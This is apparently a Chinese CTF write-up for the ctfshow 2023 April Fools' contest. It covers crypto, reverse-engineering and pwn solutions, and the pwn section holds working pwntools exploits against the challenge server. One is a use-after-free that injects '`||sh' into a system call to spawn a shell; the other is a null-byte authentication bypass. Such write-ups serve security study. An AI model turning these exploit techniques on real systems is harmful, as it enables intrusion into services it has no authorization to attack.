a = 106105288190268015217241182934677375171023341761047638573248022053052499733117
b = 76170541771321874396004434442157725545076211607587599314450304327736999807927
k = 58155941823118858940343657716409231510854647214870891375273032214774400828217
c1 = (37414446283406201193977113266234367761786780230360175925999700345196415953455, 17037724145039910971426670298726906655653040365428438334942732090559637519851)
c2 = (60560423732267272277570046154733119097475794979191838027420415113112056962844, 54372226143125971429691267751299496959531971082475860532181772357190222938465)
w2 = 16315249811700998894876359855091105114973337718373913477026230968747515636405

E = EllipticCurve(GF(p), [a, b])

m1 = 62428
c1 = E(c1)
c2 = E(c2)
m = c1 - k * c2
m2 = w2 * inverse(int(m[0]), p) % p
print(long_to_bytes(int(str(m1) + str(m2))))

# b'ctfshow{the_answer_is_it}'

ctfshow{the_answer_is_it}

easy_xor

已知 m m m异或上 p p p,但是 m m m是256位的,这就相当于已知 p p p的高位,然后就是 c o p p e r s m i t h coppersmith coppersmith p p p的高位

from Crypto.Util.number import long_to_bytes
c1 = 151198307301713399973545627808177783191262282577048906899567665485020342464366268384613589477129150406859219553325982275344405383612415523342568367197935454935162234419239807109194526080836070453102172720442102673200212658553214847476648456720629906051324248179394810385918370092764118401652990951968387233220
n = 20873587976264698212013861921447267548758723109929620330136081844796427967720295581580927324390713931549639540337285515365487607593546367886570408812338077846317206794057714877394609181224434104303259411081376607299962306250984285173463537669954845497211859940191392861121877814873939865829555350848523691546006073264112091406848179785659505299775196062799482197712761744192962658799557108701192680225134300686608396391566674966897700511638643429161735764600752699251493599533703928135311599575989253347234975026924804433742500175666009324057320386262109587593814197687132304704244158862263859846356497849518103755981
PR.<x> = Zmod(n)[]
f = (c1 >> 256 << 256) + x

p = int(f.small_roots(X=2**256, beta=0.4)[0])
m = c1 ^^ p
print(long_to_bytes(m))

RE

easy_pyc

在线反编译pyc

#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 2.7

print 'Welcome to CTFshow Re!'
print 'your flag is here!'
flag = ''
l = len(flag)
for i in range(l):
    num = ((flag[i] + i) % 114514 + 114514) % 114514
    code += chr(num)

code = map(ord, code)
for i in range((l - 4) + 1):
    code[i] = code[i] ^ code[i + 1]

print code
code = ['%16','%1d','%1e','%1a','%18','\t','%ff','%d0',',','%03','%02','%14','8','m','%01','C','D','%bd','%f7','*','\r','%da','%f9','%1c','&','5',"'",'%da','%d4','%d1','%0b','%c7','%c7','%1a','%90','D','%a1']

python2的版本,简单异或,异或回去就行,改成python3的

from Crypto.Util.number import *

code1 = [b'\x16', b'\x1d', b'\x1e', b'\x1a', b'\x18', b'\t', b'\xff', b'\xd0', b',', b'\x03', b'\x02', b'\x14', b'8', b'm', b'\x01', b'C', b'D', b'\xbd', b'\xf7', b'*', b'\r', b'\xda', b'\xf9', b'\x1c', b'&', b'5', b"'", b'\xda', b'\xd4', b'\xd1', b'\x0b', b'\xc7', b'\xc7', b'\x1a', b'\x90', b'D', b'\xa1']
for i in range(len(code1) - 3, 0, -1):
    code1[i-1] = int.to_bytes(bytes_to_long(code1[i]) ^ bytes_to_long(code1[i-1]))
print(''.join([chr(bytes_to_long(code1[i])-i)for i in range(len(code1))]))

ctfshow{Just_F00l’s_D@y_R3_Ch3ck-in!}

easy_cc

ida开,shift+F12找关键字,定位到相关函数

ctfshow—2023愚人杯wp_第13张图片

k e y key keykey123,然后也是简单异或,洒洒水啦

x = '08111f425a5c1c1e1a526d410e3a1e5e5d573402165e561216'
key = 'key123'
for i in range(0, len(x), 2):
    print(chr(ord(key[(i // 2) % 6]) ^ int(x[i:i + 2], 16)), end='')

PWN

easy_checkin

uaf漏洞

静态链接,存在system函数,直接用||绕过执行命令

from pwn import *
#context.log_level = "debug"
context.arch="amd64"
binary_name = "check-in.check-in"
elf =ELF("./"+binary_name)
local = 1
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num          		:io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))	
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
info    = lambda tag, addr          :log.info(tag + " -------------> " + hex(addr))
ia		= lambda                    :io.interactive()
if local==1:
	io = remote("pwn.challenge.ctf.show",28110)
else:
	io = process("./"+binary_name)

def debug():
	gdb.attach(io,'''
	set glibc 2.31\n
	b *0x08048C27
		''')
	pause()
def add(size,val):
	sla(b"chioce :",b'1')
	sla(b'Note size :',str(size).encode())
	sla(b'Content :',val)
def show(index):
	sla(b"chioce :",b'3')
	sla(b'Index :',str(index).encode())
def free(index):
	sla(b"chioce :",b'2')
	sla(b'Index :',str(index).encode())

add(0x10,b'aaaa')
add(0x10,b'bbbb')

free(0)
free(1)
add(0x8 + 4, p32(0x08050560) + b"`||sh")
show(0)
ia()

easy_sql

123

auth_user要等与CTFshow-demo-code-admin,后面第32的位子又要等于yes,那么用b’\x00’隔断绕过验证

ctfshow—2023愚人杯wp_第14张图片

第一次输入一个不存在的数据库名,使a_0=1,然后就会直接return,但保留了a_0的值,第二次输入flag数据库名,因为a_0==1所以会进入f_4函数查询数据库中的flag了

from pwn import*
#context.log_level = "debug"
context.arch="amd64"
binary_name = "easy_sql.sql"
elf =ELF("./"+binary_name)
local = 1
se      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
rc      = lambda num          		:io.recv(num)
rl      = lambda                    :io.recvline()
ru      = lambda delims             :io.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))	
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
info    = lambda tag, addr          :log.info(tag + " -------------> " + hex(addr))
ia		= lambda                    :io.interactive()
if local==1:
	io = remote("pwn.challenge.ctf.show",28110)
else:
	io = process("./"+binary_name)

def debug():
	gdb.attach(io,'''
	b strtok
		''')
	pause()
# debug()
payload = b'CTFshow-demo-code-admin\x00'
payload = payload.ljust(32,b'a')
payload += b"sey"
# sl(payload)
sla(b'code:', payload)
sla(b"Query:", b"read")
sla(b'from:', b"aaaa")
sla(b"Query:", b"read")
sla(b'from:', b"flag")
sla(b'read:', b"aaaa")
ia()

你可能感兴趣的:(安全,python)